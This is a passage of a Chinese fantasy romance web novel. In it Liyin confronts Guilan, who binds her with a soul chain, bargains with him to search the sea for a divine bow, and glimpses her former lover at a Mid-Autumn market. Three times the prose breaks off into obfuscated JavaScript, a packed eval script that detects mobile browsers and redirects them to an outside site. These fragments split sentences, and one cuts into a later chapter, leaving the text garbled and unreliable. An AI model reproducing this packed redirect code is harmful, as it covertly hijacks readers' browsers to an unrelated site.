座冰牢里面,这叫不逼迫我做任何事情?” “我没有不让你出去,你要是想,我也可以陪你出去的,你想去到哪里都可以。”归岚长身跪地,颤着手去璃音指间救出那两个快被攥碎了的泥人,“我们可以牵手逛街,一起去买风车,捏泥人……” 他轻柔地摩挲着泥人头上精致的龙角:“我不像他,我永远不会把属于我们的泥人送给别人的。” 璃音闻言,登时心头一震。 他果然看过那些信! 否则他何以会知道小七曾雕过一个玉郎君给她。 话中分明还有一层更浅显、更表面的意思,可璃音却偏偏不愿去想,她霍然起身,用更居高临下的高度望向他:“我让你带给他的那些信,真的有到过他手里么?” 归岚轻抚着泥人的手指一僵,没有答话。 但沉默本身就已经给出了回答。 “你对我说过的话,究竟有哪一句是真的……” 璃音突然觉得好累,心上明明被人拴了那样一根永生永世都挣不脱的锁链,可她只觉得胸口空空荡荡的,仿佛那里曾有一根她从未注意过,却一直牵在她心上的无形链条,就在刚刚,啪嗒一声,彻底断裂了。 她听见归岚急切的解释:“我没有骗你,他如今一心一意只想着和别人成亲,这些都是我亲眼看见,亲耳听见,都是真的,他背弃了你,他根本没有资格看你写的那些信。” 她漠然听着,不知为何就想起逃离月牢那一晚,独自坐在浮霁殿台阶上看的那一场烟花。 烟花绽开时是那样绚烂,那样热闹,而等这份绚烂和热闹散尽,她就该乖乖回去属于她的牢笼了。 为什么要让她有幸看到过那样绚丽的烟花,又为什么她的幸运总是不能长久,由幸运跌落至不幸的深渊,甚至会比一开始就不幸的人感受到加倍的痛苦。 一滴热烫的水珠落上龙角,归岚惊悸抬眸,就见少女睁着空洞的双眼,很安静地在流泪。 “阿璃……”他慌张无措地起身,泪水比她更多更汹涌地落了下来。 她像是听不见他,也看不见他,只是呆呆地站着,良久,归岚才听见她低低的,似乎带着呜咽的声音传来:“我本来……本来真的已经快要把你当作亲哥哥了啊……” 84. 第83章 谈判 璃音在安静地哭过一场之后,很快就又平静了下去。 而她也是在平静下去之后,才注意到归岚一双眸子动也不动地望在自己脸上,愧疚哀戚,簌簌地往下掉着泪,仿佛在她脸上望见了什么令人万分绝望的东西。她有些不明所以,抬起手来,一抹脸,竟抹了满手心的泪。 原来她竟在人前流泪了。 原来人在太过突然地溺进太过庞大的悲伤中时,眼泪只是顺着悲伤的情绪自己在掉,大脑却是一片麻木,麻木到无暇再去顾及什么不肯在人前落泪的自尊心,麻木到早已做不出任何反应。 她再看眼前的青年呜呜咽咽,一颗颗晶莹的泪珠就这么啪嗒啪嗒、肆无忌惮、毫无负担地直往下掉,心下不免觉得好笑:明明是你乘人之危,趁我重伤昏睡之际种下魂链,对我做下这等无可饶恕的事,你欺负了我,如今反倒哭得比我这个受害者还厉害,任谁看了,都要以为是我欺负了你吧。 “你哭什么?” 她抬手,轻柔地去擦拭他脸上的泪痕。 归岚没料到她会为自己拭泪,且动作是如此怜惜,语调又是这样柔缓,他有些受宠若惊地缩了缩脖子,见少女动作微顿,生怕她误以为自己在抗拒,又急忙将脸向前凑了凑,乖顺地任她擦拭。 “看见你哭,我会心烦。”少女替他擦完泪,轻声,“所以以后也别在我面前哭了,好吗?” 这话听来温情似水,实则只要稍加细想,剥开少女裹附在字句之上的温软声调,就能察觉出其中令人心惊的冷漠。 但归岚显然没有察觉到,他收了眼泪,藏不住兴奋地抿嘴笑着:“好,都听你的。” 又或许他其实察觉到了,但还是忍不住翻来覆去回味着她话里的“以后”二字,一时心中欢欣无限。 她说他们还有“以后”。 “都听我的吗?”少女听到这句,却不知想起了什么,微微怔住了。 归岚怕她不信,忙用力点头:“嗯,都听你的!” 少女定定看了他半晌,忽然垂下眼睫,低声道:“那我有个心愿,可我自己完成它有些困难,这件事对我真的很重要。好归岚,你帮帮我,帮我实现它好不好?现在只有你能帮我了……” 归岚看她低垂着头,一副不敢奢求他帮忙的样子,想起自己小时候缠着爹娘要这要那,便要水里的月亮,都是理直气壮,毫无顾忌,哪里会是这副小心疏离的模样?他只觉心上像被尖刺扎了一下,急道:“我帮你,告诉我你要什么,只要我能做到的,都一定会帮你去做。” 少女闻言抬起头来,归岚这才发现她眼中原来没有无助,没有恳求,也没有他想象中小心翼翼的脆弱,而是只有一片无波无澜的平静。她就这样平静地望着他,轻声说出了她的愿望:“我想要在这海底找到落日神弓。” 归岚听少女说心愿,只代入了自己,已做好了她要喊他去摘那镜中花、捞那水中月的准备,却没想到她的心愿会是这个,偏偏就是这个。 他不自觉躲开她的目光,嗫嚅道:“我……” “不可以吗?”少女虽在追问,神色间却仍是平静,似是对他的反应毫不意外,“看来主人不愿意陪我完成这个心愿。” 归岚听她口中喊出“主人”,浑身一震,他不可置信地抬眸望她,这一望,才终于读懂了一点她藏在温声语调和平静目光下的淡漠,他惊惶摇头:“不是主人,我不是……” 他要当她的亲人,不要当什么主人,可他做了错事,她再也不会把他当作亲人了。他很想哭,却又想起少女不许他哭,只好用力将眼泪憋在眼眶里,不让它们掉下来。 心绪起伏间,体内不受控地生出一阵嗜血的渴望,归岚身子微不可见地僵了下,他慌忙垂眼,想要掩住眼底掠闪而过的红芒,泪珠却就再掩藏不住,被阖下的眼皮挤落,大颗大颗地砸了下去。 他怕自己的眼泪惹少女心烦,忙转过身去,闭了闭眼,道:“阿璃,我出去一下。” 便化形为龙,破开深海,匆匆而去了。 璃音静静看他远去的身影,脑中飞快整理着方才那一番试探中得出的信息。 第一,归岚将她锁住,应当确实只是由孤独催生出了偏执,暂时看不出有别的心思,而这个魂链是不必妄想他会主动解除的了。 第二,他抗拒提起落日神弓,且绝不单单是出于神尊遭其诛灭的哀恚,否则不会那样避开她的眼神,心虚又怪异。 至于第三…… 璃音无声压下血管中被他勾起的那阵狂戾躁动,伸舌抵了抵齿尖。 他体内一定还埋藏着更深的秘密,且极有可能与纠缠了自己多年的渴血之症有关。 他此刻突然离开,是去做什么了呢? 璃音努力不去做那个最坏的设想,那个设想对于猰貐神尊而言太过残忍了。 可越是不去想,这个想法就越是叫嚣着直往心头冒:神尊口中那个隐于世间的另一条魔龙,会是他么? * 归岚回来的时候,血气平稳,眼底已十分清明。 璃音看着他,又不禁在想:是在哪里饱餐一顿回来了么? “阿璃,你想出去吗?”归岚小心地坐去少女身边,眼中闪着局促的盼望,“你不是想要逛街的吗,我们明天一起去吧。” 璃音并不答话,只把视线落在冰榻上两个小泥人身上,两个泥人面容粗糙,却都笑得明快,手挽着手,形状亲密,她盯了半晌,忽道:“不公平。” “你明明知道我违抗不了你的任何意志,我即便说不去,只要你想,我最后都还是要陪你去。”璃音一把推倒那两个泥人,冷冷看向归岚,“而你嘴上说愿意陪我去做任何事,又说什么都听我的,只听我的话,说什么要把命都给我,结果通通都是骗我的,让你陪我去找一把弓也不肯,你们男人嘴里的话根本没一句可信。” “阿璃,我……” 一提到落日神弓,归岚的眼神便又闪躲起来,但这一次,短暂的逃避过后,他又眸光恳切地望回少女,近乎哀求地道:“除了这个,我什么都答应你,你要做什么我都陪你,就除了这个……明天陪我出去好不好,我们说好要一起牵手逛街的。” 璃音适才本就是故意在拿话刺他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14167792|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一夕之间,一心信赖的盟友变成了深不可测的恶魔,她不可能再继续对外界不闻不问,四季不分地等下去了。 她算过日子,明天是八月十五,中秋佳节,是天上人间、凡人神鬼都企盼着团圆的日子。归岚一定会要求她在这个日子里陪他做些什么。 所以她是在抓住机会和他谈判:“你答应陪我去找弓,我就答应明天陪你出去逛街,吃月饼,看月亮。” 其实要找一个灵器本不必这么麻烦,奈何神弓已自封灵魄,她无法再以神识探查,只能是像大海捞针那样,一点点用眼睛在海底搜寻。她对东海并不熟悉,又被牵制住了神魂,这件事,没有归岚的帮助和允可,她确实办不到。 或许杀了归岚,魂链便可解开,她便就少了束缚,这不是件容易的事,但也不是不可能。但抛开魂链不谈,归岚依然是助她找到神弓的最佳帮手。还是那个原因,她对东海并不熟悉,而没有人会比归岚更熟悉大海。而在最坏的那个设想中,若归岚就是那条魔龙,那么他可能也正在寻找那把神弓,跟在他身边,应该是更好的选择。 看来是被一起吃饼赏月的画面激荡起了心神,但又实在抗拒去找那把神弓,归岚望着她,好一阵支吾踌躇,显是颇为纠结。 璃音抱了胳膊冷笑,继续拿话刺他:“不答应就算了,以后主人要做什么,也不用再装模作样来过问我的意见,直接下令就是。” 归岚最听不得从她口中喊出“主人”两个字,一时心中绞痛,体内那股暴戾的冲动竟又翻涌上来。 他轻阖了眸,深深吸气,平复下不断上涌的躁动和泪意,半晌,他睁开那双被泪水浸润的双眸,胸膛轻微起伏了两下,才道:“好,我答应你,只要你从此以后,都别再说什么主人。” 若在坠海之前,哄人达成这样一桩交易,璃音一定会得意地动动眉梢,等着别人来夸她厉害。 但眼下,她只是心中眼中都没什么波澜地道:“谢谢你,归岚。” 无论是去恨一个人,还是爱一个人,都是需要力气的,而她早在归岚面前无知无觉地哭过那一场之后,就再没有这样的力气了。 她不恨谁,也不爱谁,若非要说有什么情绪,可能就是觉得自己有点傻,竟会放任自己去喜欢一个不该喜欢的人,又依赖一个不该依赖的人。 好像兜兜转转回到一个原点,她又回到了刚重生时的那一份心境。 她活着,只是为着还有一个任务尚未完成。 而她不杀归岚,也是为着他是助她完成这个任务的最佳帮手。 “你不用和我说谢谢,亲人之间不用说这个的。”归岚眼中又闪起那种局促的盼望,“那明天……” “嗯,明天我们一起出去逛街市,吃月饼,看月亮。” 归岚欢喜地去将泥人扶起:“好,我们——” 话未说完,面色骤变,就在狂猛惊涛突袭而至的那一瞬,归岚身形疾晃,一声龙吟响彻深海,巨大的龙身迅疾盘绕,将少女紧紧护去了龙身之中。 “是他。”归岚赤红着双眼,警惕地向海面的方向望去,“他又来了。” 85. 第84章 对望 璃音是在岸上长大的,不够精通水性,这一下深海狂震,巨流倒卷,瞬袭而至,她根本来不及有所察觉。 但与归岚之间血脉加上魂链的感应原始而强大,远比任何突袭或是大脑的反应更快。在归岚有所警觉的那一霎,璃音的身体便已自发与他一齐进入警戒,指间青光疾闪,庞大的阵法在水中急速张开,如涟漪骤起,向四周猛烈激荡开去。 便在同一时刻,龙吟爆起,硕大龙身缠裹而上,银青色鳞甲冷涩坚硬,将璃音环环圈住,像披上了一件坚不可摧的铠甲,深海之中逆流翻涌,只她身处这方铠甲之中,却静谧如渊,让她觉得很踏实,很安全,但也很是……硌得慌。 她被硌得有些难受,却又觉得这份触感是如此熟悉,似乎在她初坠海底,重伤昏睡之时,也一直是被这样硌着的。 那时她五感闭塞,只觉周身常有硬物环绕,难道就是归岚在像此刻这样护着她么? “呀,小美人这么快就醒了。” 熟悉的声音经由通灵决向脑内灌入,听来还是那么叫人心里发毛,璃音默然抬头,无声地拢住了指骨。 云卿脸遮银色面具,身覆银甲,凌空立于海面之上,灵识无声无息探入深海,却是一触即退,冷哼一声,道:“小美人倒是会给自己找靠山。” 今天外头是个大大的晴日,暖风袭人,炽日当空,海水倒映着蓝天,也被映照得格外澄澈,银甲银面反着日光洒落下来,便直直落进归岚眼底。 归岚像是被什么刺痛,当即仰颈赤目,冲海面那人呲牙低吼不绝。 云卿闻声,却忽地勾动唇角,不知想起哪桩开心事来,缓缓抬起右手,那手纤白瘦弱,掌心却爬着一道狰狞长疤,正是两年前为破军所伤,他用手轻抚左臂银甲,细声细气,却也十足阴阳怪气地道:“本尊只道龙族之间的血脉感应是在活着的时候才有,现下听小神君叫得这样悲愤,倒像是与这些死物还能感应呢。” 归岚霎时眼底赤光大盛,向着海面,嚎出阵阵哀声恸吼,巨大的悲伤甚至透过魂链,直送入了璃音心底。 璃音虽不知晓那银甲的来历,但看看眼前反着相似碎光的龙鳞,已猜了个十不离八,那副碎银铠甲上万千鳞片的来处,恐怕便是归岚牺牲在神魔战场之上的万千族人,那里面,甚至可能还有他的母亲。 想归岚生来便是神族,自小被亲族众仙捧在掌心里呵护宠爱着长大,他本该一直都是海中最逍遥矜贵的小神君,却不料父亲一夕之间成了人人喊打的魔头,没过多久,又大战突起,母亲和族人几乎死伤殆尽。 短短百年之间,接连遭逢此等巨变,等回过神时,茫茫天地间竟只剩下他孤身一人了。 所以他才会变成如今这副模样,才会用见不得光的手段将她拴在身边,固执地渴求一份永恒的羁绊。 耳畔是一声高过一声的龙啸悲吟,想他自下了战场后便深潜海底,此刻分明悲恸恼怒已极,也并不跃海而出,去与云卿拼命,一来是因着养伤,二来便是无法面对那副龙鳞铠甲吧。 璃音在心里轻叹一声,终是伸出右掌,安抚地摸了摸眼前不停细微颤抖着的龙身。 只听那魔尊又道:“这万龙甲虽好,却还是少了鳞片,不够再制一副手套,倒害本尊吃了个亏,本尊看小神君这一身鳞甲养得甚是鲜亮,不知何时再来战场上玩玩,回头本尊亲自为你收尸,就叫你来补这个缺。” “魔尊也好治治你那嗜睡的毛病了,青天白日里就发这么大一场白日梦,平白惹人发笑。”璃音嗤笑着仰头,便用最刺痛人心的话,来向那专爱刺痛人心的魔尊回击,“手下败将就少学别人发狠话,你杀不了摇光,杀不了我,也杀不了他。所以你此时也实在不必多睡,等摇光神君归位,便是你的死期,你自能去地下长眠。” 历史早有答案,他作不了太久的妖。 璃音也是到了这时才反应过来,原来破军那日并不是刺歪了,而是知那万龙甲坚不可破,才故意去他裸露在外的手上戳了个洞。 不愧是跟神君上过大大小小无数战场的,战略战术都拿捏得那样恰到好处。 想到这里,又不禁在心里哼了一声:我夸他们做什么,主子冷心冷情,两年就能另结新欢,本命法宝的脾性也是一脉相承,黑心黑肝,三百年便就另寻他主,总之一人一剑,没一个好东西。 云卿听了她这番讥讽竟也不恼,只阴恻恻地笑道:“小美人,何必对本尊这么凶,本尊今日可是专门给你带好消息来的。” “小美人还不知道吧,你的神君打了胜仗,没几日便要携军启程,赶回家迎娶心心念念的美娇娘了。” 感觉到少女抚慰的动作微顿,归岚勾过头去,反过来安抚地往少女颈间蹭了蹭。 “战事终结,倒确实是个好消息,不过您也不必这样着急来向我报喜,回头等神君回了天宫,这样的好消息还得报一回呢。” 璃音说着轻轻“呀”了一声,才继续道:“我怎的忘了,那时候您就长眠去了,报不了这个喜了。” 随即左掌一挥,一道魂力迅疾无伦地打了出去,正打在云卿掌心那条长疤之上,将他往天上狠狠打出百丈之远,遥遥只听得一声闷哼,海面便恢复了平静,此后都再无半点人影了。 璃音将那贱嗖嗖的魔尊打跑之后,便在原地发了一会儿怔,待回过神时,归岚已化回人形,一脸担忧,在她耳边轻轻喊着她的名字。 “阿璃,他还有几天才走,你要是想去见他的话,明天我们——” “明天是亲人之间团聚的日子。”璃音冷声打断归岚的提议,“是属于我们的日子,和他有什么关系。” 归岚眼睛一下子亮起来,她承认他们是亲人了,瞬间便把外面的野男人抛去了九霄云外,他用力点头道:“对,是属于我们的日子。” 然而他万没想到,真到了中秋这天,这野男人却无处不在。 长达十多年的战事终于得以平息,百姓急着要欢庆,又逢中秋佳节,此时尚未入夜,圆月懒出,正是街市上最热闹的时候。 归岚想要牵手,但被璃音面无表情地横过一眼,一掌将他的爪子拍掉了,但他一点不恼,就像一条尾巴一样,亦步亦趋,兀自兴奋地跟在少女身后缀着。 他见有摊子在卖龙头面具,觉得好玩,便扯扯少女的衣裙后摆,停身去到摊前,挑了两个买下,看少女配合地和他一起戴上,眼眶一热,竟满足到有些想要流泪。 然后野男人就突然出现了。 虽然只是以画像的形式,但还是顷刻就分走了少女的注意力。 原来这摊主不止卖面具,还兼着卖些镇宅图像,见璃音发呆地望着那些画像,便忙堆了笑脸,上前热情地推销起来:“这战乱过后的头几年,阴气最是浓重,像你这种小姑娘,就最容易招那些妖啊鬼啊的,你只需买这位将军的神像回去,那妖魔鬼怪见了就没有不绕道的。镇宅辟邪,三文一张,怎么样,多来个几张贴在家里,买个安心,晚上睡觉都踏实。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176635|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 璃音乍一见到摇光的画像,确实呆了一呆,大概是有揽华床头那一幅黑头黑脑、胸肌爆甲的摇光神君“珠玉在前”,这幅未免把他画得太过凌然若仙,不染俗尘了。 虽说他本就是九天之上的神仙,但璃音一直以来都不大喜欢他流露出这种疏离于红尘之外的气质神情。 不过真正叫她惊讶的,还是这毫不起眼的人间小摊上竟会有如此不走样的神君画像,简直就像是比刻着摇光的脸,一笔一笔描上去的。 归岚见她盯得认真,就先掏出三文钱将画买下,随后便也凑过头来看这画像,看了半晌,直看到左边“北斗第七天关破军星君摇光”那一行小字,倏地一愣,又过半晌,不知突然领悟到了什么,语气里满是讶然道:“他……他是……” 璃音看他这反应着实奇怪,他早已见过慕璟明相貌,昨日云卿话里话外又明示暗示了那么多次他的身份,这会儿还有什么好惊讶的呢?难道那么多的提示,都没能让他将慕璟明与摇光联系起来? 璃音不禁担忧起这位神龙一族小神君的智商。 只听他兀自恍然道:“难怪,难怪,我还道你怎会那样记挂一个凡人。” 璃音越看他这迟钝的模样越担忧,终是忍不住道:“你不认得摇光神君么?” 归岚点头:“自然是认得的。” 想也是认得的,璃音又问:“那你去见了慕璟明那么多次,就一次也没把他认出来?” “人形的东西在我眼里看来,都长得差不多。”归岚挠了挠头,“我也是看了一个多月,才将那人的脸看熟了,要不是画上写了神君的名字,我还当这卖的就是那人的画像。” 璃音蓦然想起摇光认不出龙角的事来,原来归岚不是脑子不好使,而是和摇光一样,是个一旦跨了族,就看谁都长得一样的脸盲。 “他很厉害。” 归岚看着画像,忽然就来了这么一句。大概是替摇光打过这一次前锋之后,才知道他千万年来呆的是个怎样危险的位置,语气里便不由得带上了几分钦佩。 随即似是想到什么,却又话锋一转,道:“可他对你不好,你还是不要喜欢他了。” 顿了顿,又道:“你要实在喜欢他,趁他还是凡人这几年,我去替你把他捉来,让他日日陪在你身边。” 他一心想着要让璃音开心,全没注意到这样乘人之危,绑人作伴的事,有多触动少女的神经。 璃音闻言冷笑一声,不咸不淡地道:“你们两个都挺厉害的。” 指的当然是他们两个伤害她的本事。 归岚这才从她的语气里听出不对,呆愣片刻,垂下脑袋,歉疚又讨好似的低低唤她:“阿璃……” 这一声“阿璃”,没唤回璃音的心软,却把街市上原本正与他们擦肩而过的一个蓝袍男子唤得停下了脚步。 他停步转身,隔着一张夸张的龙头面具,他望不见少女的脸,只能望见她一双琉璃珠般清透的双眸。 那双眸子里闪过一瞬的怔然,但它们的主人没有闪躲,没有避开,而是将所有会暴露情绪的表情都隐在面具之后,便站在这热闹鼎沸的街市之中,不发一言,安安静静地,肆无忌惮地与他对望。 他果然清瘦了许多。 两年未见,许是战场上磨砺过的缘故,少年最后那一点青涩气质都已褪去,完完全全是个大人模样了。 是摇光神君的模样。 璃音看着他,无声地攥紧了手中那一幅画。 86. 第85章 龙头面具龇牙咧嘴,却绘笔童趣,非但不显可怖,反透出一种可爱的狰狞。 璃音顶着这样张狂惹眼的一大张面具,一时竟分不清慕璟明是在看她,还是在看这张新奇假面。 想来也是在看面具吧,毕竟戴着面具,他又怎会认出自己。 而璃音之所以会发觉慕璟明在这处街市之上,是因为在抬眸看见他之前,就先感应到了那股熟悉的、磅礴渊静的力量。 是破军。 她竟会与破军互有感应,直到现在,她仍觉得十分不可思议。 按理说,神器认主,从此便只与主人一人心意相通,也仅供主人一人驱策,但一想到这是一对断情比断发还快的渣男渣剑,璃音便又觉得不甚稀奇了。 她在面具的遮掩之下,无声肆意地将这个男人望着。 她很久没见他了,他又很快就要离开这里,他们以后再不会有什么交集,这很有可能,就是她在这个时空里,见他的最后一面了吧。 所以现在就让她多看一会儿,又有什么要紧。 她并不觉得这样丢脸,也不觉得多看他一眼,自己就输了。虽然就现下而言,她确实是输了,但只是输在比他少了两年的时间,给她两年,她一定能把他忘得更彻底的。 她先用目光放肆描摹了一遍他的眉眼。 这双眼睛实在漂亮,只他此刻敛着眉目,神色冷淡,眼底看不出太多情绪,但并不空洞,一双眸子像映着寒铁冷辉,就静静盯在她的脸上,或者该说是盯在她的面具之上。 她又慢慢扫过他英挺的鼻梁,落去他如樱的唇瓣上,只有她知道那里有多软。想到这里,璃音不动声色地抿了抿唇。 嗯,不过等他回到王都,十月娶亲,这两瓣柔软的唇就要去亲吻别人了。 这个男人不能要了。 她突然就不想再看他。 然而慕璟明却比她更早地现出意兴阑珊的模样,许是面具对他的吸引力就到此为止,他忽然冷淡地移开目光,转身便走。 哗啦—— 手里的画像终于被璃音无意识揉作了一团皱纸。 璃音更加用力地转身,用力到在周身带出一股飞旋的凉风,迈开大步就走。 见她猛然间提步如飞,归岚忙快步跟上,在后面担忧地道:“阿璃?” 璃音倏地停步回头,寒声喝道:“不许这么叫我!” 归岚跟着停身,愣愣地道:“为什么?” 顿了顿,想起方才那个野男人,委屈霎时涌进声线:“他都可以……” 璃音冷哼一声:“他也不可以。” “那……那我叫你什么?” “那就什么也别叫!你叫我做什么,你永远别叫我,你就不许和我说话!” 璃音转身,再次大步流星地走了起来,虽被面具覆住了面颊,但看那两股被大步颠得一翘一翘的发辫,就可以想见面具下的少女是怎样一副气鼓鼓的神情了。 她刚这样气鼓鼓地走出两步,就听得身后摊主大声叫道:“哎哎哎,那位客人,你东西掉了!” 归岚循声望去,见一位摊主指着地上一个精玉雕成的小人儿,正冲着慕璟明的背影叫唤。 而慕璟明好似全没听见一般,头也没回,只自顾往前走着,倒是个家仆装束的少年迎面小跑着过来,就要去捡那玉人。 “童墨,别捡了。” 慕璟明这时却忽然停下了步子,只依旧没有转过头来。他叫住童墨,淡淡出声:“不是什么很重要的东西。” 说完便等了片刻,等童墨又小跑着回去跟上,便一起走远了。 归岚正兀自盯着地上的小人发呆,就见少女修长的指骨往地面一掠,将那玉雕的小人掠走,粗暴地拿手心颠了颠,毫不珍惜似的,哼道:“把自己雕得这么好看,自恋狂。” 然后就把那玉郎君捏进掌心,向归岚瞥过一眼:“走了。” 便转过身,再没回头地走了。 归岚在她身后跟了一会儿,看她被步子颠得晃来荡去的发辫,看着看着,突然就笑了。 “你生气了。”他笑着说。 璃音不明白他为什么要笑,但只觉被他这么一笑,就更气了,当即转过头去,横瞪他一眼:“看到我生气,你很高兴?” “我不是这个意思。”归岚见她误会,忙慌里慌张地摇手解释,“只是你这样生气,很配这里的热闹,很有活气,不像……不像前两天……” 前两日的阿璃在流过那一场泪之后,就好像连生气都懒得去生一样,明明也给了他好言好语,但就是没半点活气似的,总是让他感到不安。如今她虽在生气,眼里却多了许多生动的神采,把那些叫人看得揪心的淡漠都冲走了。 璃音闻言,正要再冷言冷语奚落归岚两句,却忽有一道无声的意念直达她灵台深处,叫她整个身子僵停住了。 那些个法宝灵器并不能真正开口说话,自然也没有所谓的嗓音和声线,故而当它们向旁的灵物“说话”时,给出的其实是一种无声的声音。 现在,破军就在用它那无声的声音问她:“何时回来?” 璃音想起自己坠落东海之前,曾对破军说过,说她很快就会回去的。 但是现在,好像没有回去的必要了吧。 她也是没想到慕璟明都把她甩了,破军竟还这样殷切记挂着自己。 虽然她没那个必要回去见慕璟明了,但还是有必要去探一探那副宴饮图上的聚会的。 而且她早就盘算过,待她探明神弓所在,要再回到九百年后,就必须分毫不差地复刻出她来时开启阵法的每一步,那也就少不了破军往她心口戳的那一个血窟窿。 于是她向破军传音:“明年吧,明年春天我应该会去一趟天都,到时候还要请你帮我个忙。” 璃音在原地站了一会儿,没等到破军更多的回应,便就和归岚一起,继续向前走远了。 不经意往前方街角瞥过一眼,却见一人墨发黑袍,银甲覆面,正抱臂而立,他面具外的半边唇角似笑非笑地向上勾着,见她发现了他,便黑雾一晃,消失无踪了。 璃音时常觉得,这位魔尊估摸是入魔入得仓促,不晓得入魔后到底要走个什么章程,又读人间的某些话本子读多了,就大发臆想,穿衣不能好好穿,非要穿一身黑不溜秋的,那笑也不能好好笑,一定要半抬唇角,要邪魅阴森,要笑得人心里直发毛,方能彰显他魔尊的身份。 其实入魔之后,那些魔头本身的穿衣风格基本都是不会变的,该是白衣飘飘,便仍是白衣飘飘,他们就混迹在这一成不变的万年日常之中,无声无息,难辨难寻。 长街鼎沸,童墨穿过满街的欢腾喧闹,跳坐上一辆马车前的驾座,扯过缰绳在手里,转头隔着车帘,向车里那人道:“小侯爷,那玉坠子已被人拾走了。” 车里静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毕竟她两年来都在昏睡,所以他们的分别于她而言,几乎就像是昨天才发生的事情。分明昨天他还闪着那样炽热的目光望她,说要给彼此一个身份,结果一觉醒来,这个身份就被他给了别人了。 她心里知道要赶紧放下,但放下一个人又不像吹灭一支蜡烛,只需轻轻呼一口气,就能扑灭心间燃烧正炽的火焰。 而与他见过一面之后,反倒像是有了一场郑重的告别,告别完,便像轻轻呼出了那一口气,自然便该放下了。 九百年后再见,便不当他是武宁侯府的慕玿小侯爷,不当他是小七,那她该当他是什么呢…… “神君……” 她就当他是悬在天际的一颗星星,就当她从未将他摘来过人间。 她仰起头来,想要努力透过茫茫深海,去捕捉到天上的一点星辉。 “九百年后的神君,现在会在做什么呢?” 她这么想着,今日逛累了的身子便渐渐困倦起来,她趴去归岚宽阔的龙背上,眼皮一合,便有些昏昏沉沉地睡去了。 “阿璃?” 归岚低低唤了一声背上的少女,静默片刻,便就轻轻游动,送她躺回了海底那块巨大寒冰之上。 他静静盯了会儿少女沉静安稳的睡颜,便又动作极轻地转身摆尾,只身游入谁也望不见的某个大海深处,游向那个永远也不想被她发现的秘密。 87. 第86章 十婚男 自中秋那日之后,璃音便很少再去伤怀什么,而是全身心投入到了她此行最要紧的任务之中。 归岚果然守诺,大大的龙身将她又快又稳地载着,在海底任她调遣,指哪游哪,且游且寻,与她一同摸找起了落日神弓的下落。 倒像是她才是他的主人一般。 璃音听虞宛初提过,她的师父云上真人为寻一物,曾遍历东海,共计花费了整整五十年时间。 而归岚本就是生在海中的蛟龙,每日可载她伏浪千里,疾奔如电,游行似风,按这个速度,要翻遍整个东海决计用不上五十年,竟是半年内便绰绰有余了。 其间云卿也没少来海面上捣乱,一会儿发狠话要扒归岚的龙皮,一会儿又冲璃音一个劲儿地阴笑,笑完就捏着嗓子,大声去数慕璟明还有几日成亲。那殷殷期盼的神情,不知道的还以为马上要当新郎官的那个人,不是远在王都的慕小侯爷,而是这位魔尊。 璃音觉着他这状态不像是入了魔的,倒像是得了失心疯的。 若不是为了尊重历史,手边也没个趁手的兵刃,否则璃音真想上去一刀割开那聒噪不休的喉管,送他直抵死亡终局。 不过璃音也不是看不穿云卿的心思,他告诉她这些,反反复复拿慕璟明的婚事刺讽她,无非就是要她心里多受伤一点,再多恨慕璟明一点,最好恨到离他远远的,再不要出现在他身边,省得这位魔尊想对慕璟明动手的时候,还要同时应付他们两人,太不方便。 可惜这位魔尊打错了如意算盘,璃音没有恨慕璟明,她是有些气他恼他,但远远谈不上恨。 他只是没有她想象中那么喜欢自己而已,这能算是什么罪呢? 是她自己一直以来会错了意,回头想想,其实每一句肉麻的告白都是她追着他在说,而慕璟明呢?璃音也是到了此刻才后知后觉地发现,他甚至从未认真对她说过一句“喜欢”。 她越是回想,就越是确定,这两个字,这样重要的两个字,他果然是从未对她表明过的。 大概在他心里,不过把她当做了一场及时行乐下的艳遇,那她便也就这样定义那一段时日里的欢愉好了,能如此纵情恣意地轻薄过那位心高气傲的神君一场,能迫得他耳尖红透,听过他埋在她颈窝中动情时的低喘,她也不算吃亏。 脱离这个时空后,她也还是会把神君当作是在天宫里迎面遇见时,能互相客气着点头问好的同僚。他若果真遇险,她也还是会跨越山海去护他保他,无关情爱,只因为这是早就答应好的事,她答应过他,要助他平安渡劫,要给他顺遂康宁。 只是如今破军已在人间开灵,自会全力护主,慕璟明不再需要她的保护,也轮不到她来保护了。 一阵桀桀怪笑突然自海面传音而来,璃音伏在龙背上抽动了下嘴角,知道是那位神经兮兮的魔尊又来了。 原来真的有人可以笑出“桀桀桀桀”这样清奇诡异的声音,璃音一面惊奇,一面就听见云卿怪笑着道:“小美人,今晚可是你那位神君的洞房之夜,本尊怕你寂寞,特来陪你说说话。” 璃音一怔,指腹不自觉抚上腰间坠着的一枚玉雕小人。 海底岁月难辨,竟已是十月初六了么。 “小美人,你可知你那位神君真真猴急得不得了,酒也没摆出来请客人喝一杯,就急不可耐赶着去和新娘洞房了。” 云卿说着,笑声便越发张狂了起来。 